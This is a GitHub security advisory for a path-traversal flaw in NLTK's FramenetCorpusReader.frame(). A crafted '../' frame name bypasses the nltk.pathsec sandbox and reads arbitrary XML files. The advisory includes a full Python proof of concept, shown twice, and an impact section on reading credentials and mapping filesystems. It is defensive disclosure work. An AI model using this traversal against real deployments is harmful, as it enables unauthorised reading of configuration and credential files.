GHSA-XH95-F55M-82FW
Vulnerability from github – Published: 2026-07-31 16:50 – Updated: 2026-07-31 16:50Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
- doc() — uses the index entry filename field
- the lexical-unit file loader — uses the lexUnit ID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
Impact
- Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into
frame()can be made to read XML files from directories outside the intended corpus root and have their parsed content returned.frame()is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - Broad read primitive. Only a fixed
.xmlextension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - Silent bypass of an advertised boundary. NLTK's
SECURITY.mdpresents thenltk.pathsecsandbox andENFORCE=Trueas a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Becauseframe_by_namebuilds the path itself and reads through a string-pathXMLCorpusView, the containment guard is never called andENFORCE=Truedoes not block the read — silently, with no error or warning. - Crafted-corpus reach. Via
doc()and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where
frame()output is reflected to the requester, disclosure is direct and non-blind.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-12074"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T16:50:41Z",
"nvd_published_at": "2026-06-15T20:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\n`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox \u2014 including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.\n\n\n### Details\n`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.\n\nThe same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:\n- `doc()` \u2014 uses the index entry `filename` field\n- the lexical-unit file loader \u2014 uses the `lexUnit` ID attribute\n\nThese are reachable through a malicious or attacker-modified FrameNet corpus index.\n\n### PoC\n```python\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport warnings\nfrom pathlib import Path\n\nwarnings.filterwarnings(\"ignore\")\n\n# --- Turn the documented strict sandbox ON, before importing the reader. ---\nimport nltk.pathsec as ps\nps.ENFORCE = True\n\nimport nltk\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError\n\nFRAME_XML = (\n \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\n \u0027\u003cframe xmlns=\"http://framenet.icsi.berkeley.edu\" ID=\"1337\" name=\"pwned\"\u003e\\n\u0027\n \"\u003cdefinition\u003eSECRET-OUT-OF-ROOT-CONTENT\u003c/definition\u003e\\n\"\n \"\u003c/frame\u003e\\n\"\n)\n\nBANNER = \"\"\"\\\n===========================================================\n NLTK FramenetCorpusReader.frame() Path Traversal PoC\n nltk {ver} | nltk.pathsec.ENFORCE = {enforce}\n===========================================================\"\"\".format(\n ver=nltk.__version__, enforce=ps.ENFORCE\n)\n\n\ndef build_corpus():\n \"\"\"Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.\"\"\"\n base = Path(tempfile.mkdtemp(prefix=\"fn_poc_\"))\n root = base / \"corpora\" / \"framenet\"\n for d in (\"frame\", \"fulltext\", \"lu\"):\n (root / d).mkdir(parents=True)\n (root / \"frameIndex.xml\").write_text(\n \u0027\u003c?xml version=\"1.0\"?\u003e\u003cframeIndex\u003e\u003c/frameIndex\u003e\u0027\n )\n (root / \"frRelation.xml\").write_text(\n \u0027\u003c?xml version=\"1.0\"?\u003e\u003cframeRelations\u003e\u003c/frameRelations\u003e\u0027\n )\n\n # A frame-shaped XML file OUTSIDE the corpus root (the \"sensitive\" target).\n secret = base / \"private\"\n secret.mkdir()\n (secret / \"secret.xml\").write_text(FRAME_XML)\n\n return base, root, secret / \"secret.xml\"\n\n\ndef main():\n print(BANNER)\n base, root, secret_path = build_corpus()\n print(f\"[*] corpus root : {root}\")\n print(f\"[*] secret file : {secret_path} (OUTSIDE the root)\\n\")\n\n fn = FramenetCorpusReader(str(root), [])\n\n # Attacker-controlled frame name climbs out of \u003croot\u003e/frame/ up to \u003cbase\u003e/private/secret.xml\n evil = os.path.join(\"..\", \"..\", \"..\", \"private\", \"secret\")\n print(f\"[*] calling fn.frame({evil!r})\")\n\n try:\n f = fn.frame(evil)\n definition = f[\"definition\"]\n if \"SECRET-OUT-OF-ROOT-CONTENT\" in definition:\n print(\"\\n [VULN] out-of-root file was read and returned to caller\")\n print(f\" frame name : {evil}\")\n print(f\" frame ID : {f[\u0027ID\u0027]} name: {f[\u0027name\u0027]}\")\n print(f\" definition : {definition}\")\n print(f\"\\n -\u003e nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}\")\n verdict = \"VULNERABLE\"\n else:\n print(f\"\\n [?] frame() returned but content unexpected: {definition!r}\")\n verdict = \"INCONCLUSIVE\"\n except FramenetError as e:\n # Patched build (#3581): _reject_unsafe_path_component raises before open().\n print(f\"\\n [SAFE] FramenetError: {e}\")\n print(\" traversal rejected before any file was opened (patched)\")\n verdict = \"NOT VULNERABLE\"\n except Exception as e:\n print(f\"\\n [SAFE] {type(e).__name__}: {e}\")\n verdict = \"NOT VULNERABLE\"\n\n # Control: a plain absent name must fail as \u0027Unknown frame\u0027, NOT as a read.\n print(\"\\n[CONTROL] benign absent name should be \u0027Unknown frame\u0027:\")\n try:\n fn.frame(\"Definitely_Not_A_Frame\")\n print(\" [?] unexpectedly succeeded\")\n except Exception as e:\n print(f\" ok -\u003e {type(e).__name__}: {e}\")\n\n print(\"\\n\" + \"=\" * 59)\n print(f\" Result: {verdict} (ENFORCE = {ps.ENFORCE})\")\n print(\"=\" * 59)\n\n\nif __name__ == \"__main__\":\n main()\n\n```\n\n\n### Impact\n- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.\n- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving \"read any XML file the process can read.\" Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.\n- **Silent bypass of an advertised boundary.** NLTK\u0027s `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read \u2014 silently, with no error or warning.\n- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.\n- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.",
"id": "GHSA-xh95-f55m-82fw",
"modified": "2026-07-31T16:50:41Z",
"published": "2026-07-31T16:50:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.